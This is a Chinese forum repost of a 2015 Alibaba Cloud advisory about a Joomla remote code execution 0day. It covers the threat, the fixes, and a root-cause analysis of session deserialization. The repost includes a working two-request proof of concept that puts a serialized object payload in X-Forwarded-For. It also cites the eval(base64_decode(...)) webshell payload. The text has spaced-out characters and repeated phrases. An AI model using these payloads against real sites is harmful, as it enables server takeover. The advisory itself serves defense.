搜索

[26578] 2015-12-17_又一高危0day漏洞，你的网站中招了吗？

文档创建者：s7ckTeam
浏览次数：14
最后更新：2025-01-19
2015-12-17_又一高危0day漏洞，你的网站中招了吗？ 又 一 高 危   0 d a y   漏 洞 ， 你 的 网 站 中 招 了 吗 ？ 阿 里 云 安 全   m o o n s e c   2 0 1 5 - 1 2 - 1 7 近 日 ， 近 日 ， J o o m l a 再 曝 高 危 再 曝 高 危 0 d a y 漏 洞 ， 可 进 行 远 程 命 令 执 行 ， 阿 里 云 云 盾 昨 日 已 上 线 相 应 的 拦 截 规 则 抵 御 该 漏 洞 。 漏 洞 ， 可 进 行 远 程 命 令 执 行 ， 阿 里 云 云 盾 昨 日 已 上 线 相 应 的 拦 截 规 则 抵 御 该 漏 洞 。 同 时 同 时 , 对 云 托 管 客 户 已 经 做 了 电 话 通 知 和 自 动 漏 洞 修 复 。 对 云 托 管 客 户 已 经 做 了 电 话 通 知 和 自 动 漏 洞 修 复 。 J o o m l a 高 危 高 危   0 d a y   漏 洞 是 啥 ？ 漏 洞 是 啥 ？ 先 说 J o o m l a ， 这 是 一 套 在 国 外 相 当 知 名 的 内 容 管 理 系 统 。 J o o m l a 是 使 用 P H P 语 言 加 上 M y S Q L 数 据 库 所 开 发 的 软 件 系 统 ， 可 以 在 L i n u x 、   W i n d o w s 、 M a c O S X 等 各 种 不 同 的 平 台 上 执 行 。 0 d a y   漏 洞 漏 洞 是 已 经 被 发 现 ( 有 可 能 未 被 公 开 ) , 而 官 方 还 没 有 相 关 补 丁 的 漏 洞 。 “ 高 危 ”   0 d a y   漏 洞 的 后 果 可 想 而 知 了 ！ 昨 日 ， 昨 日 ， J o o m l a   安 全 团 队 紧 急 发 布 了 安 全 团 队 紧 急 发 布 了 J o o m l a   3 . 4 . 6   版 本 ， 修 复 了 一 个 高 危 版 本 ， 修 复 了 一 个 高 危   0 d a y   漏 洞 。 该 漏 洞 影 响 了 漏 洞 。 该 漏 洞 影 响 了   1 . 5   到 到   3 . 4 . 5   的 所 有 的 所 有 版 本 ， 漏 洞 利 用 无 须 登 录 ， 直 接 在 前 台 即 可 执 行 任 意 版 本 ， 漏 洞 利 用 无 须 登 录 ， 直 接 在 前 台 即 可 执 行 任 意 P H P 代 码 。 代 码 。 威 胁 现 状 威 胁 现 状 统 计 数 据 显 示 ， 截 至 1 6 日 凌 晨 ， 已 有 数 百 个 恶 意 I P 尝 试 使 用 该 漏 洞 对 阿 里 云 网 站 发 起 攻 击 ， 云 盾 已 成 功 拦 截 上 万 次 攻 击 云 盾 已 成 功 拦 截 上 万 次 攻 击 请 求 请 求 ， 其 中 攻 击 请 求 数 排 名 第 一 的 黑 客 在 一 小 时 内 尝 试 入 侵 超 过 其 中 攻 击 请 求 数 排 名 第 一 的 黑 客 在 一 小 时 内 尝 试 入 侵 超 过 1 0 0 0 个 个   J o o m l a   网 站 。 网 站 。 对 攻 击 者 使 用 的 攻 击 p a y l o a d 分 析 ， 大 部 分 攻 击 者 在 第 一 个 请 求 中 都 会 插 入 类 似   e v a l ( b a s e 6 4 _ d e c o d e ( $ _ p o s t [ a ] ) )   这 样 的 代 码 ， 在 第 二 个 请 求 中 尝 试 向 网 站 根 目 录 写 入 一 句 话 木 马 。 如 果 攻 击 成 功 ， 网 站 将 会 被 攻 击 者 完 全 控 制 。 也 有 部 分 攻 击 者 使 用 的 是 网 上 公 开 的 漏 洞 检 测 p a y l o a d ， 如   p h p i n f o ( ) ;   和   m d 5 ( 2 3 3 3 3 3 ) ;   ， 这 些 代 码 一 般 不 会 对 网 站 造 成 威 胁 。 最 稳 妥 的 解 决 办 法 最 稳 妥 的 解 决 办 法 遇 到 事 情 要 冷 静 ， 再 大 的 威 胁 总 有 它 的 解 决 办 法 。 根 据 此 次 漏 洞 情 况 ， J o o m l a   官 方 已 紧 急 放 出 了 3 . 4 . 6 版 本 。 j o o m l a 用 户 除 了 尽 快 升 级 至 最 新 版 本 ， 也 可 采 用 阿 里 云 安 全 团 队 给 出 的 更 为 完 善 的 修 复 方 案 ， 对 网 站 进 行 加 固 阿 里 云 安 全 团 队 给 出 的 更 为 完 善 的 修 复 方 案 ， 对 网 站 进 行 加 固 ： 1 修 改   J o o m l a   根 目 录   c o n f i g u r a t i o n . p h p   ， 把   $ s e s s i o n _ h a n d l e r   的 值 改 为 n o n e ， 会 将 s e s s i o n 存 储 引 擎 设 为 文 件 系 统 。
2 把   P H P   版 本 升 到 到   5 . 6 . 1 3   或 更 高 的 版 本 。   3   登 录 J o o m l a 后 台 把 程 序 升 级 到   3 . 4 . 6   或 更 高 的 版 本 。   漏 洞 的 利 用 与 分 析 漏 洞 的 利 用 与 分 析 漏 洞 利 用 ： 漏 洞 利 用 ： 将 恶 意 代 码 放 在   U s e r - A g e n t   或   X - F o r w a r d e d - F o r   中 发 送 给 网 站 ， 将 网 站 返 回 的 c o o k i e 值 带 入 第 二 个 请 求 中 ， 即 可 触 发 漏 洞 。 或 是 在 第 一 个 请 求 中 指 定 c o o k i e 值 ， 在 第 二 次 中 带 上 同 样 c o o k i e 值 也 能 触 发 漏 洞 。 请 求 一 ： 请 求 一 ： G E T   /   H T T P / 1 . 1 H o s t :   1 2 7 . 0 . 0 . 1 X - F o r w a r d e d - F o r : } _ _ t e s t | O : 2 1 : " J D a t a b a s e D r i v e r M y s q l i " : 3 : { s : 2 : " f c " ; O : 1 7 : " J S i m p l e p i e F a c t o r y " : 0 : { } s : 2 1 : " 0 0 0 d i s c o n n e c t H a n d l e r s " ; a : 1 : { i : 0 ; a : 2 : { i : 0 ; O : 9 : " S i m p l e P i e " : 5 : { s : 8 : " s a n i t i z e " ; O : 2 0 : " J D a t a b a s e D r i v e r M y s q l " : 0 : { } s : 8 : " f e e d _ u r l " ; s : 3 7 : " p h p i n f o ( ) ; J F a c t o r y : : g e t C o n f i g ( ) ; e x i t ; " ; s : 1 9 : " c a c h e _ n a m e _ f u n c t i o n " ; s : 6 : " a s s e r t " ; s : 5 : " c a c h e " ; b : 1 ; s : 1 1 : " c a c h e _ c l a s s " ; O : 2 0 : " J D a t a b a s e D r i v e r M y s q l " : 0 : { } } i : 1 ; s : 4 : " i n i t " ; } } s : 1 3 : " 0 0 0 c o n n e c t i o n " ; b : 1 ; } ð C o o k i e :   3 3 4 2 5 1 4 d d e 1 4 3 a 0 4 d a d 9 5 8 b 2 e b 5 a 7 4 8 a = p d 4 n n q l p s 2 s u k 9 r 7 0 1 8 9 j k p d n 2 请 求 二 ： 请 求 二 ： G E T   /   H T T P / 1 . 1 H o s t :   1 2 7 . 0 . 0 . 1 C o o k i e : 3 3 4 2 5 1 4 d d e 1 4 3 a 0 4 d a d 9 5 8 b 2 e b 5 a 7 4 8 a = p d 4 n n q l p s 2 s u k 9 r 7 0 1 8 9 j k p d n 2 如 果 执 行 成 功 ， 请 求 二 的 返 回 内 容 中 会 显 示 p h p i n f o ( ) 的 执 行 结 果 。 漏 洞 分 析 ： 漏 洞 分 析 ： 在 l i b r a r i e s / j o o m l a / s e s s i o n / s e s s i o n . p h p 文 件 中 ， j o o m l a 将 H T T P _ U S E R _ A G E N T 和 H T T P _ X _ F O R W A R D E D _ F O R 直 接 存 入 到 了 s e s s i o n 中 … … / /   R e c o r d   p r o x y   f o r w a r d e d   f o r   i n   t h e s e s s i o n   i n   c a s e   w e   n e e d   i t   l a t e r i f ( i s s e t ( $ _ S E R V E R [ ' H T T P _ X _ F O R W A R D E D _ F O R ' ] ) ) { $ t h i s - > s e t ( ' s e s s i o n . c l i e n t . f o r w a r d e d ' , $ _ S E R V E R [ ' H T T P _ X _ F O R W A R D E D _ F O R ' ] ) ; … … / /   C h e c k f o r   c l i e n t s   b r o w s e r i f ( i n _ a r r a y ( ' f i x _ b r o w s e r ' ,   $ t h i s - > _ s e c u r i t y )   & & i s s e t ( $ _ S E R V E R [ ' H T T P _ U S E R _ A G E N T ' ] ) ) { $ b r o w s e r   = $ t h i s - > g e t ( ' s e s s i o n . c l i e n t . b r o w s e r ' ) ; i f   ( $ b r o w s e r   = = =   n u l l ) { $ t h i s - > s e t ( ' s e s s i o n . c l i e n t . b r o w s e r ' , $ _ S E R V E R [ ' H T T P _ U S E R _ A G E N T ' ] ) ; } } 继 续 跟 进 j o o m l a 对 于 s e s s i o n 的 处 理 方 式 ， 在   / l i b r a r i e s / j o o m l a / s e s s i o n / s t o r a g e . p h p 内   J S e s s i o n S t o r a g e   类 中 ， 利 用
s e s s i o n _ s e t _ s a v e _ h a n d l e r 重 新 实 现 了   s e s s i o n   存 储 的 r e a d ( ) 和 w r i t e ( ) 方 法 ， 从 p h p 手 册 中 得 定 义 看 到 ， r e a d ( ) 、 w r i t e ( ) 方 法 传 进 和 传 出 的 参 数 会 分 别 自 动 进 行 序 列 化 和 反 序 列 化 ， 这 一 部 分 的 序 列 化 操 作 由 P H P 内 核 完 成 ： 继 续 跟 入 到 r e a d ( ) 和 w r i t e ( ) 函 数 ， 代 码 位 于 l i b r a r i e s / j o o m l a / s e s s i o n / s t o r a g e 目 录 中 ， 从 所 有 s e s s i o n 存 储 引 擎 的 实 现 代 码 中 可 以 看 到 ， j o o m l a 都 没 有 对   s e s s i o n   的 v a l u e 进 行 安 全 处 理 就 进 行 了 写 入 操 作 。   默 认 情 况 下 ， j o o m l a 使 用 了 数 据 库 引 擎 对   s e s s i o n   进 行 存 储 ， 这 也 是 本 漏 洞 可 以 成 功 利 用 的 条 件 之 一 ， 构 造 e x p 时 候 ， 利 用   M y s q l   的 字 符 截 断 特 性 ， 最 终 写 入 到 数 据 库 中 一 个 被 破 坏 的 不 合 法 的 反 序 列 化 对 象 ， 当 这 个 对 象 被 执 行 r e a d ( ) 读 取 时 候 ， 因 为 截 断 字 符 的 关 系 ，   P H P 内 核 （ P H P   < =   5 . 6 . 1 3 ） 在 解 析 s e s s i o n . c l i e n t . f o r w a r d e d 后 面 字 符 串 时 ， 由 于 长 度 C h e c k 不 一 致 ， 导 致 p h p _ v a r _ u n s e r i a l i z e 提 前 退 出 ， 返 回 f a l s e ， P H P 在 上 一 次 p h p _ v a r _ u n s e r i a l i z e 失 败 的 时 候 ， 会 从 之 前 的 指 针 位 置 继 续 开 始 下 一 轮 k e y - v a l u e 尝 试 ， 在 新 一 轮 k e y - v a l u e 尝 试 中 ， P H P 内 核 将 攻 击 者 注 入 的 " | " 当 成 了 分 隔 符 ， 进 行 k e y - v a l u e 解 析 ， 进 行 反 序 列 化 导 致 对 象 方 法 被 执 行 。 漏 洞 的 本 质 原 因 有 两 个 ， 一 个 是 p h p 内 核 的 s e s s i o n 解 析 器 b u g 导 致 的 ， 另 一 个 是 m y s q l 数 据 库 的 字 符 截 断 特 性 。 如 果 使 用 的 s e s s i o n 存 储 引 擎 不 存 在   M y s q l   这 样 的 字 符 截 断 特 性 ， 此 漏 洞 就 无 法 复 现 。 我 们 测 试 该 漏 洞 时 ， 将 j o o m l a 配 置 文 件 c o n f i g u r a t i o n . p h p 中 的 $ s e s s i o n _ h a n d l e r   配 置 为 n o n e ， 即 使 用 文 件 系 统 存 储 s e s s i o n ， 发 现 漏 洞 无 法 成 功 利 用 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理